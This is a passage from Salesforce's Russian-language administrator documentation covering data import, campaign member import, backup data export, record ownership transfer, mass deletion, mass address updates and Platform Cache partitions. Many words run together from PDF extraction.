управляемуюочередьидожидаетсянаиболееудобноговременивыполненияимпорта (времянахожденияфайлавочереди
не превышает 24 часов). По завершении импорта пользователю отправляется электронное уведомление.

Можно ли импортировать стоимости в разных валютах?
Мультивалютные организации Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и
Developer Edition могут импортировать стоимости в разных валютах посредством столбца «Код ISO валюты» в файле
импорта.
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Может ли служба поддержки помочь в импорте моих данных?
Служба поддержки доступна организациям Group Edition, Contact Manager Edition, Professional Edition, Enterprise Edition,
Unlimited Edition и Performance Edition на протяжении всего процесса импорта.

Можно ли импортировать данные на нескольких языках?
Мастер импорта обрабатывает данные только на одном языке (язык пользователя, выполняющего импорт). Чтобы
импортировать те же данные на других языках, повторите импорт для каждого дополнительного языка.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Как выполнить пакетное обновление записей?

Чтобы обновить от 50 тысяч до 5 миллионов записей, воспользуйтесь приложением Data Loader.

Чтобы обновить более 5 миллионов записей, рекомендуем обратиться к партнеру Salesforce или воспользоваться
соответствующим партнерским продуктом из каталога App Exchange.

Как обновить поля с пустыми значениями?

Чтобы заменить поля с нулевыми значениями, воспользуйтесь приложением Data Loader.

1. Чтобы запустить приложение Data Loader, последовательно выберите пункты «Пуск» > «Все программы» >
«Salesforce» > «Data Loader» > «Data Loader».

2. Нажмите кнопку Export и выполните действия, предложенные мастером. По завершении нажмите кнопку View
Extraction.

3. Чтобы просмотреть данные в приложении Excel, нажмите кнопку Open in external program. Очистите нужные поля.

4. ВыберитепунктыSettings > Settings вприложенииData Loaderиустановитефлажок Insert null values. Чтобысохранить
параметры, нажмите кнопку «OK».

5. Чтобывыполнитьповторныйимпортданных, нажмитекнопкуUpdateивыполнитедействия, предложенныемастером.

Что такое внешний код?
Чтобы предотвратить создание повторяющихся записей в результате выполнения импорта, воспользуйтесь внешними
кодами при импорте настраиваемых объектов, решений или организаций-лиц.

Внешний код — это настраиваемое поле с атрибутом «Внешний код», которое содержит уникальный идентификатор
записи из системы, находящейся за пределами Salesforce. В данном случае мастер импорта выполняет поиск текущих
записей в системе Salesforce, использующих такой же внешний код. Обратите внимание, что данная операция
нечувствительна к регистру (например, запись «АБВ» сопоставляется с записью «абв»). Тем не менее, данное правило
содержитисключение: еслинастраиваемоеполеиспользуетотдельныйатрибут «Уникальное» ивыбрантипсопоставления,
чувствительный к регистру, то прописные и строчные буквы не считаются идентичными.
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Импорт участников кампании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Почему существует два мастера импорта кампаний?

• Сколько участников кампании разрешено импортировать?

• Кто может импортировать участников кампании?

• Какой статус назначается участникам кампании?

• Как подготовить файл импорта кампаний?

Почему существует два мастера импорта кампаний?

Чтобывоспользоватьсямастеромимпортакампаний, нажмитераскрывающуюсякнопку
«Управление участниками» на любой странице сведений о кампании ищелкните
ссылку «Добавить участников — импортфайла» или «Обновить и добавить
участников — импортфайла». Ниже перечислены доступные мастеры.

• Мастер импорта данных: Чтобы открыть данный мастер, нажмите раскрывающуюся кнопку «Управление
участниками» > «Добавить участников — импортфайла» > «Интересы» на странице сведений о кампании.
Данныймастерпредназначендляимпортаинтересов. Данныймастерпозволяетимпортироватьсписокимен, создавать
или обновлять интересы в системе, а также связывать эти интересы с кампанией.

• Мастер обновления кампаний. Чтобы открыть данный мастер, нажмите раскрывающуюся кнопку «Управление
участниками» > «Обновить и добавить участников — импортфайла» > «Обновить и добавить участников
кампании» на странице сведений о кампании. Данный мастер предназначен для обновления статусов текущих
интересов и контактов. Данный мастер позволяет импортировать список текущих контактов и интересов Salesforce,
связывать их с кампанией и обновлять журнал ответов.

Сколько участников кампании разрешено импортировать?
Количество участников кампании, доступное для импорта, определяется указанными ниже мастерами.

• Мастер импорта интересов. Одновременный импорт не более 50 000 интересов.

• Мастер обновления кампаний. Одновременное обновление не более 50 000 текущих контактов и интересов.

Помимоограниченияпо количеству записей, размеримпорта также зависитот общегообъема хранилищаорганизации.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Кто может импортировать участников кампании?

Чтобы предоставить пользователю доступ к мастерам импорта данных, позволяющим импортировать новые интересы
для кампанииилиобновлятьжурналкампаниидлянесколькихинтересовиконтактов, установитефлажок «Пользователь
Marketing» на страницеличныхсведенийопользователе. Кроме того, пользователюдолженбытьназначенпрофиль
«Пользователь Marketing» (или полномочия «Импорт интересов» и «Редактирование» для кампаний).
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Какой статус назначается участникам кампании?

Нижеперечисленыспособыназначениястатуса участникакампанииинтересуиликонтакту, поддерживаемыемастерами
импорта кампаний.

• Добавьте столбец «Статус» в файл импорта. Введите статус для каждого интереса или контакта кампании.

• Выберите статус по умолчанию в мастере импорта кампаний. Статус по умолчанию автоматически назначается
любому интересу или контакту, использующему пустой или недействительный статус в файле импорта.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Как подготовить файл импорта кампаний?

Ниже перечислены мастеры, позволяющие подготавливать файлы импорта кампаний.

• Мастер импорта интересов. Подготовка файла импорта новых интересов с помощью приложения Excel.

• Мастер обновления кампаний. Только обновление статусов текущих интересов или контактов. Файл импорта
должен содержать столбцы «Статус» и «Код записи» (отображает значения параметра «Код контакта» или «Код
интереса», который является уникальным в системе Salesforce).

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)
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Управление данными

Экспорт резервных данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Еженедельный экспорт
доступен в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ежемесячный экспорт
доступен в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта данных:
• «Еженедельный

экспорт»

В зависимости от используемой версии системы, организация может еженедельно или
ежемесячно создавать резервные файлы данных. Все данные организации могут быть
экспортированы в набор CSV-файлов.

Прим.: Пользователи с полномочием «Еженедельный экспорт» могут
просматривать все экспортированные данные, а также все настраиваемые объекты
и поля на странице «Услуга экспорта». По умолчанию данное полномочие
предоставляется только профилю «Системный администратор».

Пользователи могут создавать резервные файлы вручную — каждые 6 дней (для
еженедельного экспорта) или каждые 28 дней (для ежемесячного экспорта). При
необходимости еженедельное или ежемесячное резервирование данных может также
выполняться автоматически.

При интенсивном трафике доставка экспорта может быть отложена. Например,
еженедельныйэкспортдолженвыполняться в течениевсегомесяца. Так, 1 апрелядолжен
быть обработан первый запрос на экспорт, но, ввиду интенсивного трафика, данный
запрос добавляется в очередь, а доставка экспорта откладывается до 8 апреля. А, 7 апреля
должен быть обработан второй запрос на экспорт, но, ввиду отложенной обработки
первого запроса, выполнение второго запроса откладывается до 14 апреля.

1. В разделе «Настройка» введите «Экспорт данных» в поле «Быстрый поиск», затем
выберите «Экспорт данных» и «Экспортировать сейчас» или «Запланировать
экспорт».

• Кнопка «Экспортировать!» выполняет немедленную подготовку файлов для
экспорта. Данная кнопкадоступна толькопоистечениидостаточногоколичества
времени после последнего экспорта.

• Кнопка «Запланировать экспорт» позволяет планировать еженедельные или ежемесячные экспорты.

2. Выберите нужную кодировку файла экспорта.

3. Чтобы включить соответствующие элементы в данные экспорта, установите флажки «Добавить изображения,
документы и вложения» и «Добавить файлы Chatter и версии документа Salesforce CRM Content».

Прим.: Выборпараметров «Добавить изображения, документы и вложения» и «Добавить файлы Chatter

и версии документа Salesforce CRM Content» увеличивает время обработки экспорта данных.

4. Чтобы использовать пробелы вместо символов переноса или разрывов строк вфайлах экспорта, установитефлажок
«Заменить символы переноса пробелами». Данныйпараметрпозволяетиспользоватьфайлыэкспорта дляимпорта
или других интеграций.

5. Припланированииэкспорта выберитечастоту (доступнотолькодляорганизацийс ежемесячнымиэкспортами), даты
начала и окончания, а также время выполнения экспорта.

6. Выберите нужные типы данных в разделе «Экспортированные данные». Рекомендуем выбрать параметр «Включить
все данные» в случае незнания терминологии, используемой для некоторых типов данных. Обратите внимание на
перечисленные ниже примечания.

• Поля формулы и сводного резюмирования всегда исключаются из экспортов.
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• Если организация использует подразделения, то данные всех подразделений добавляются в экспорт.

• При использовании организаций-лиц и экспорте организаций все поля организаций добавляются в данные
организаций.

• При использовании организаций-лиц и экспорте контактов записи организаций-лиц добавляются в данные
контактов. Тем не менее, данные контактов содержат только поля, доступные в контактах и организациях-лицах.

7. Нажмите кнопку «Начать экспорт» или «Сохранить».

Система Salesforce создает и отправляет архив CSV-файлов по эл. почте. Обычно экспорт занимает мало времени;
однако, срок выполнения экспорта может изменяться. Крупные файлы экспортируются частями. Чтобы загрузить
архивныйфайл, щелкнитессылкув сообщенииэл. почтыилинажмитекнопку «Экспортданных». Архивныефайлы
удаляютсячерез 48 часовпослеотправкисообщенияэл. почты. Данноеограничениенераспространяетсяна выходные
дни, то есть файл, доступный для загрузки к 16:00 четверга, будет удален в 16:00 понедельника.

Прим.: Из соображенийбезопасности, экспорт данныхиз организации Salesforceможет быть выполнен только
послепроверкиподлинностипользователя CAPTCHA. Этаэлементарнаяпроверканаосновевводатекстапозволяет
предотвратить доступ вредоносных программ к данным организации. Чтобы пройти проверку, пользователи
должныправильно ввести два слова в специальное текстовое поле областиналожения. Обратите внимание, что
слова должны быть разделены пробелом.

Взависимостиотвыбраннойкодировки, просмотрфайлаэкспортаможетбытьдоступентолькопослевнесениянекоторых
изменений. Выполните указанные ниже действия.

Просмотр файлов экспорта в кодировке «Юникод (UTF-8)»
При использовании приложения Microsoft Excel 2003:

1. Откройте приложение Microsoft Excel.

2. Последовательно выберите пункты «Файл» > «Создать».

3. Выберите пункты «Данные» > «Импорт внешних данных» > «Импорт данных».

4. Выберите нужный CSV-файл. Приложение Microsoft Excel запустит мастер импорта текста.

5. Установите переключатель «С разделителями» и выберите формат файла «Юникод (UTF-8)».

6. Нажмите кнопку «Далее».

7. Вразделе «Символом-разделителем является:» установитефлажок «Запятая» и нажмите кнопку «Готово». Возможно,
пользователю будет предложено выбрать диапазон ячеек.

Прим.: Если региональные настройки не поддерживают использование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

8. При необходимости повторите данные действия для каждого файла.

При использовании приложения Microsoft Excel (не позднее версии 2003):

1. Откройте файл в приложении Microsoft Excel.

2. Последовательно выберите пункты «Файл» > «Сохранить как».

3. Сохраните файл как веб-страницу.

4. Выберите пункты «Сервис» > «Параметры» > «Общие» и нажмите кнопку «Параметры веб-документа».

5. Откройте вкладку «Кодировка» и выберите значение «Юникод (UTF-8)».

6. Чтобы закрыть диалоговые окна, нажмите кнопку «OK».
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7. Чтобы сохранить файл в выбранной кодировке, выберите пункты «Файл» > «Сохранить».

8. При необходимости повторите данные действия для каждого файла.

Просмотр файлов экспорта в кодировке «Юникод (UTF-16, Big Endian)»
Откройтефайлыэкспортав текстовомредакторе, поддерживающемданныйнаборсимволов. Приложение Microsoft Excel
не поддерживает данный набор символов.

Просмотр файлов экспорта в кодировке «Юникод (Little Endian)»
1. Откройте файл в приложении Microsoft Excel.

2. Выделите весь столбец A.

3. Выберите пункт «Текст по столбцам» в меню «Данные».

4. Установите переключатель «С разделителями» и нажмите кнопку «Далее».

5. В разделе «Символом-разделителем является:» установите флажок «Запятая» и нажмите кнопку «Готово».

Прим.: Если региональные настройки не поддерживают использование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

6. При необходимости повторите данные действия для каждого файла.
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Общие сведения о переносе записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Организации, кампании,
контакты, контракты,
интересы и обращения
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного переноса
организаций, кампаний,
контактов, контрактов и
настраиваемых объектов:
• «Перенос записи»

И

«Редактирование» для
типа объекта

Для пакетного переноса
интересов:
• «Перенос интересов»

ИЛИ «Перенос записи»

И

«Редактирование» для
интересов

Для пакетного переноса
обращений:
• «Перенос обращений»

ИЛИ «Перенос записи»

И

«Редактирование» для
обращений

Ответственный за запись или любой другой вышестоящий пользователь в иерархии
ролей или территорий может переносить отдельные записи другому пользователю.
Записи некоторых объектов (например, обращений, интересов и кампаний) могут быть
перенесеныпосредством общего доступа. В зависимости от типа объекта, записи могут
быть перенесены другому пользователю разными способами.

Доступно для...Метод

Организации, кампании, обращения,
контакты, контракты, интересы и
настраиваемые объекты

Перенос отдельной записи

Обращения, интересы и настраиваемые
объекты, которые могут принадлежать
пользователю или очереди

Пакетный перенос записей посредством
спискового представления и кнопки
«Изменить ответственного»

Организации, интересы и настраиваемые
объекты

Пакетный перенос записей с помощью
средства пакетного переноса

Возможность изменения ответственности
• Пользователи с полномочием «Изменение всех данных» или пользователи с

полномочием «Изменить все» для выбранного объекта могут переносить любые
записи, независимо от ответственного.

• Чтобывыполнитьпереносоднойилинесколькихзаписейсписковогопредставления,
новому ответственному должно быть предоставлено как минимум полномочие
«Чтение» для выбранного типа объекта. Данное правило не применяется при
использовании средства пакетного переноса.

• Чтобы выполнить перенос ответственности за любую отдельную запись в
организации, которая не поддерживает функцию управления территориями,
пользователю должно быть предоставлено соответствующее полномочие
«Редактирование», а также ответственность за запись или вышестоящее положение
в иерархии ролей.

Например, чтобывыполнитьпереносответственностизаорганизацию, пользователю
должны быть предоставлены полномочия «Чтение» и «Редактирование» для
организаций. Кроме того, новому ответственному за запись должно быть
предоставлено как минимум полномочие «Чтение» для организаций.

Параметрыобщегодоступа «Полныйобщийдоступ»и «Общедоступный: длячтения,
записи и переноса» предоставляют всем пользователям возможность переноса
ответственностиза данныйтипзаписиприналичиисоответствующегополномочия
«Редактирование».

• Если организация поддерживает функцию управления территориями, то
пользователи, назначенные территориям, могут переносить организации (включая
принадлежащие другим пользователям) в собственных территориях.
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• Перенос кампаний доступен только при наличиифлажка «Пользователь Marketing», установленного в записи
соответствующего пользователя.

Изменение ответственности за организации портала
• Перенос организации-партнера требует наличия полномочия «Управление пользователями» или «Управление

внешними пользователями».

• Организация клиентского портала может быть передана ответственным сотрудником любому пользователю той же
роли без назначения специального полномочия. Организация клиентского портала не может быть передана
пользователю вышестоящей или нижестоящей роли.

• Организации-партнеры могут быть переданы только пользователям с полномочием «Управление внешними
пользователями».

• Переносорганизации, содержащейпользователейклиентскогоипартнерскогопорталов, требуетналичияполномочия
«Управление пользователями».

• Организация, содержащая пользователей клиентского портала, не может быть назначена ответственному, который
является пользователем-партнером.

СМ. ТАКЖЕ:

Пакетный перенос записей

831

Общие сведения о переносе записейНастройка и обслуживание организации Salesforce



Пакетный перенос записей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Организации, сервисные
контракты и интересы
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного переноса
организаций и сервисных
контрактов:
• «Перенос записи»

И

«Редактирование» для
типа объекта

И

«Перенос интересов»

Для пакетного переноса
настраиваемых объектов:
• «Перенос записи»

И

«Редактирование» для
типа объекта

Для пакетного переноса
интересов:
• «Перенос интересов»

ИЛИ «Перенос записи»

И

«Редактирование» для
интересов

Чтобы выполнить пакетный перенос организаций, интересов, сервисных контрактов и
настраиваемых объектов от одного пользователя к другому, воспользуйтесь средством
пакетного переноса.

Прим.: Перенос чужих записей возможен только при наличии обязательных
полномочий и доступа для чтения записей.

1. Вразделе «Настройка» введите «Пакетный перенос записей» вполе «Быстрый поиск»,
затем выберите «Пакетный перенос записей».

2. Щелкните ссылку для нужного типа записи.

3. Принеобходимостивведитеимятекущегоответственногозазаписьвполе «Источник
переноса». Ответственность за интересы может быть перенесена от пользователей
или очередей.

4. Введите имя нового ответственного за запись в поле «Цель переноса».
Ответственность за интересы может быть перенесена пользователям или очередям.

5. Если организация использует подразделения, установите флажок «Изменить
подразделение...», чтобы назначить всем перенесенным записям стандартное
подразделение нового ответственного.

6. Ниже перечислены действия, доступные при переносе организаций.

• Чтобыперенестиоткрытыевозможности, принадлежащиедругимпользователям
и связанные с организацией, установите флажок «Перенос открытых
возможностей, которые не принадлежат текущему ответственному за
организацию».

• Чтобыперенести закрытые возможности, связанные с организацией, установите
флажок «Перенос закрытых возможностей». Данный параметр применяется
только к закрытым возможностям, которые принадлежат ответственному за
организацию; закрытые возможности других пользователей не изменяются.

• Чтобыперенестиоткрытыеобращения, принадлежащиетекущемуответственному
за организацию и связанные с организацией, установите флажок «Перенос
открытых обращений, принадлежащих текущему ответственному за
организацию».

• Чтобыперенестизакрытыеобращения, принадлежащиетекущемуответственному
за организацию и связанные с организацией, установите флажок «Перенос
закрытых обращений».

• Чтобысохранитьтекущуюрабочуюгруппу, связаннуюсорганизацией, установите
флажок «Сохранить группы, работающие с организациями». Чтобы удалить
текущую рабочую группу, связанную с организацией, снимите данныйфлажок.

• Чтобысохранитьтекущуюрабочуюгруппудлявозможностей, связанныхсданной
организацией, установите флажок «Сохранить группу, работающую с
возможностями, для всех возможностей...». Доливозможностисохраняются,
апроцентыдолей, назначенныепредыдущемуответственному, передаютсяновому
ответственному. В случае отсутствия данного флажка все участники группы,
работающей с возможностями, и доли удаляются при переносе возможности.
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Прим.: Припереносезакрытыхвозможностейгруппа, работающаясвозможностями, сохраняетсянезависимо
от данного параметра.

7. Введите критерии поиска, которым должны соответствовать записи.

8. Нажмите кнопку «Найти».

9. Установите флажки напротив нужных записей. Чтобы выбрать все отображаемые элементы столбца, установите
флажок в заголовке нужного столбца.

Прим.: Приналичииповторяющихсязаписейрекомендуемвыбратьтолькооднузапись. Переносповторяющихся
записей может вызвать возникновение ошибки.

Повтор записей возможен при фильтрации интересов по полю «Статус участника кампании», в результате
которой один и тот же статус участника кампании может использоваться несколькими кампаниями. Например,
фильтр «"Статус участника кампании" равно "Отправлено"» возвращаетповторяющийсяинтересИванПетров
в том случае, если статус интереса «Отправлено» используется двумя кампаниями.

10. Нажмите кнопку «Перенос».

СМ. ТАКЖЕ:

Общие сведения о переносе записей

Пакетное удаление записей и отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Данная функция доступна в
версии Database.com
Edition только посредством
API. Версия Database.com
Edition поддерживает
пакетное удаление только
записей настраиваемых
объектов.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного удаления
данных:
• «Изменение всех

данных»

Система позволяет одновременно удалять несколько отчетов или записей.

Пакетноеудалениеподдерживается следующимитипамизаписей: обращения, решения,
организации, контакты, интересы, продукты и действия.

Ниже перечислены примеры использования пакетного удаления.

• Необходимость удаленияобнаруженныхнеиспользуемыхотчетовиз спискаотчетов
на вкладке «Отчеты».

• Необходимость повторного импорта интересов организации, импортированных
неправильно.

• Необходимостьудаленияконтактовбывшегосотрудникаорганизации, повторяющих
данные других пользователей.

• Необходимость преобразования организаций, поле «Тип» которых содержит
значение «Потенциальный клиент», в интересы.

Совет: Рекомендуем выполнить отчет по данным организациям и
экспортировать их в Excel, а затем импортировать данные в качестве интересов
посредствоммастера «Импортинтересовмоейорганизации». Затем, используя
пакетноеудаление, выберитеорганизациивкачестве типа записи, подлежащего
удалению, и введите критерий поиска «"Тип" равно "Потенциальный клиент"»
для обнаружения всех соответствующих организаций.

• Необходимость удаления всех интересов, преобразованных для организации.
Выберите интересы в качестве типа записи, введите критерий поиска
«"Преобразовано" равно "1"» ищелкните «Поиск».
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• Необходимостьочисткивеб-интересов, созданныхнеправильно, илинеобходимостьудаленияустаревшихорганизаций
и контактов.

1. Настоятельно рекомендуем выполнить отчет для архивирования данных. Кроме того, выполните еженедельный
экспорт данных (см. раздел «Экспорт резервных данных» на странице 827).

2. В разделе «Настройка» введите «Пакетное удаление записей» в поле «Быстрый поиск», затем выберите «Пакетное
удаление записей» ищелкните ссылку с типом записи, который требуется удалить.

3. Просмотрите сведения, которые будут удалены вместе с записями.

4. Укажите условия, которым должны соответствовать выбранные элементы (например, «"Область" равно "Томская"»).

5. При удалении организаций определите необходимость удаления организаций с вложенными
закрытыми/реализованными возможностями или вложенными возможностями, принадлежащими другим
пользователям.

6. Чтобы удалить продукты возможностей, установите флажок «Архивируйте продукты...» при удалении продуктов.

Установите данныйфлажок, чтобы:

• удалить продукты, которые не связаны с возможностями, и переместить их в корзину;

• архивировать продукты возможностей. Удаление данных продуктов является необратимым.

7. Нажмите кнопку «Поиск» для поиска совпадающих записей и выберите нужные элементы. Чтобы выбрать все
отображаемые элементы столбца, установите флажок в заголовке нужного столбца.

8. Чтобы удалить записи без возможности восстановления, выберите параметр «Удалите выбранные записи без
возможности восстановления».

Важное замечание: Выбор данного параметра препятствует восстановлению выбранных записей из корзины.

9. Нажмите кнопку «Удалить».

СМ. ТАКЖЕ:

Примечания к использованиюфункции пакетного удаления

Отмена импорта
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Примечания к использованию функции пакетного удаления

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Данная функция доступна в
версии Database.com
Edition только посредством
API. Версия Database.com
Edition поддерживает
пакетное удаление только
записей настраиваемых
объектов.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного удаления
данных:
• «Изменение всех

данных»

Ниже перечислены рекомендации по использованиюфункции пакетного удаления.

Общие примечания по функции пакетного удаления
• Одновременно разрешается удалять не более 250 элементов.

• Удаление записи инициирует удаление всех связанных записей, отображающихся
в связанных списках.

• Пакетное удаление поддерживается только отчетами из общедоступных папок
отчетов.

• Пакетноеудалениенеподдерживаетсяотчетами, вложеннымивпанелимониторинга,
запланированными или используемыми отчетными снимками.

Примечания пофункции пакетного удаления для групп сбыта
• Организации-партнеры, содержащие пользователей-партнеров, не могут быть

удалены.

• Продукты возможностей не могут быть удалены, но могут быть заархивированы.

• Пакетное удаление продуктов инициирует удаление всех связанных записей
прайс-листа.

• Удаление действий инициирует удаление любых архивных действий,
соответствующих заданным условиям.

• Приудалениидействийзапрошенныевстречиподлежатпакетномуудалениютолько
после их подтверждения и автоматического преобразования в события.

• Удаление повторяющихся событий инициирует удаление дочерних событий, несмотря на их отсутствие в списке
элементов, доступных для удаления.

Примечания по функции пакетного удаления для групп обслуживания
• Организации и контакты, связанные с обращениями, не могут быть удалены.

• Контакты, поддерживающие портал самообслуживания, и связанные организации не могут быть удалены.

• Удаление основного решения не инициирует удаление связанных переведенных решений. Наоборот, каждое
переведенное решение становится основным.

• Удаление переведенного решения инициирует удаление его связи с основным решением.
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Пакетное обновление адресов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетного обновления
адресов:
• «Изменение всех

данных»

Для пакетного обновления
адресов контрактов:
• «Изменение всех

данных»

И

«Активация контрактов»

Отчеты и сопутствующие показатели более точны и понятны, когда данные
непротиворечивы. Например, использование разных аббревиатур для страны может
исказить данные. Для поддержания непротиворечивости адресов можно обновить
одновременно сведения о стране и регионе в существующих полях.

Пакетное обновление адресов доступно для контактов, контрактов и интересов.

Совет: Чтобы обеспечить непротиворечивость данных в новых записях,
рекомендуется использовать список для выбора страны.

1. Введите строку «Пакетное обновление адресов» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Пакетное обновление адресов».

2. Выберите «Страны» или «Область/штат». При выборе «Область/штат» введите
страну, для которой следует обновить область или штат.

3. Нажмите кнопку «Далее».

4. Выберите нужные значения и нажмите кнопку «Добавить». Значения, подлежащие
обновлению, отображаются в поле «Выбранные значения».

Значения адреса, найденные в текущих записях, отображаются в поле «Доступные
значения». Чтобынайтидополнительные адреса дляпакетногообновления, введите
значение полностью или его часть и нажмите кнопку «Найти».

Если организация использует большие объемы данных, введите текущие значения
для обновления в текстовую область. Вводите каждое значение с новой строки.

5. Заполнитеполе«Заменитьвыбранныезначенияна:»инажмитекнопку«Далее».
Если организация использует большие объемы данных, то данное поле называется
«Заменить введенные значения на:».

Отобразится количество и тип записей адресов, подлежащих обновлению. При наличии больших объемов данных
отображаются только обновляемые значения.

6. Чтобы обновить значения, нажмите кнопку «Заменить».

СМ. ТАКЖЕ:

Раскрывающиеся списки «Область» и «Страна»

Масштабируемость. Вопросы и ответы
• Какова масштабируемость системы Salesforce?

• Возможно ли снижение производительности при увеличении количества подписчиков Salesforce?

Какова масштабируемость системы Salesforce?
Системаможетиспользоваться крупнейшимирабочими группами. Архитектура системыпозволяетработатьмиллионам
пользователей. Доступ любому количеству пользователей может быть предоставлен в самые короткие сроки.
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Возможно ли снижение производительности при увеличении количества подписчиков
Salesforce?
Нет. Мы уделяем большое внимание вопросам производительности и масштабируемости нашей системы, которые
гарантируют поддержку любого количества клиентов. Используемая нами архитектура позволяет быстро добавлять
новые веб-серверыи серверыприложенийпри увеличении количества пользователей. Кроме того, архитектура системы
поддерживает добавление серверов баз данных. А пропускная способность, которая при необходимости также может
быть увеличена, гарантируется условиями размещения наших серверов.

Кэш платформы Force.com

Определение разделений для данных, кэшированных посредством кэша
платформы Force.com
Спомощьюкэшаплатформыможнопозволитьприложениямработатьбыстрее за счетхраненияповторноиспользуемых
данныхвпамяти. Приложениямогутбыстрополучать доступк данным, тем самымустраняянеобходимость копирования
расчетов и запросов в базу данных при последующих запросах.

Чтобыиспользовать кэшплатформы, сначала необходимонастроить разделы с помощьюинструмента разбиения кэша
платформы в меню «Настройка». После создания разделов можно добавлять, просматривать и удалять данные из них с
использованием Apex API кэша платформы.

Используйте разделы кэша платформы для повышения производительности приложений. Разделы позволяют
распределить пространство наиболее подходящим для приложений образом. Кэширование данных по указанным
разделам препятствует перезаписи данных другими приложениями или менее важными данными.

Чтобы получить доступ к инструменту создания разделов, введите строку «Кэш платформы» в поле «Быстрый поиск»
меню «Настройка» и выберите пункт «Кэшплатформы».

Рекомендуем использовать инструмент «Разделение кэша платформы» для выполнения указанных ниже действий.

• Запрос пробного кэша.

• Создание, изменение и удаление разделов кэша.

• Распределение емкостей кэша сеанса и кэша организации каждого разделения для обеспечения равномерной
производительности приложений.

• Просмотр снимка текущего объема кэша организации, разбиения на разделы и их назначение (в КБ илиМБ).

• Просмотр сведений о каждом разделении.

• Назначение раздела в качестве раздела по умолчанию.

Чтобы использовать кэш платформы, необходимо создать хотя бы один раздел. Каждый раздел состоит из одного
сегмента кэша сеансов и одного сегмента кэша организации, и емкость каждого сегмента настраивается отдельно. Кэш
сеансов можно использовать для хранения данных сеансов отдельных пользователей, а кэш организации предназначен
для данных, к которым могут получать доступ все пользователи организации. При необходимости распределите объем
кэшаорганизацииналюбое количестворазделов. Можновыделитьотнуля допятииболее кэшейсессийиорганизации,
но их количество должно быть целочисленным. Сумма всех выделенных разделов, включая раздел по умолчанию,
равняется всему выделенному кэшу платформы. Общая выделенная емкость всех сегментов кэша не должна превышать
общую емкость организации.
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Любой раздел можно назначить в качестве раздела по умолчанию, но можно иметь только один раздел по умолчанию.
При полном использовании емкости раздела по умолчанию создать дополнительные разделы нельзя. Если раздел не
выделен для определенной задачи, операции кэша (такие как чтение и запись) не выполняются и ошибка не выдается.

По умолчанию расчет емкости осуществляется каждые 5 минут. Чтобы просмотреть обновленные показатели емкости
и выделения разделов, щелкните «Пересчитать».

СМ. ТАКЖЕ:

Руководство разработчика Apex

Запрос пробной версии кэша платформы

Приобретение кэша платформы

Запрос пробной версии кэша платформы
Чтобы проверить повышение производительности при использовании кэша платформы в своей организации,
воспользуйтесь пробной версией кэша. Версии Enterprise, Unlimited и Performance поставляются с небольшим объемом
кэша, но добавление дополнительного объема кэша поможет еще больше повысить производительность.После
утверждения запроса пробной версии вы можете выделить объемы разделов и поэкспериментировать с различными
сценариями использования кэша. Тестирование пробной версии кэша позволит сделать обоснованный выбор при
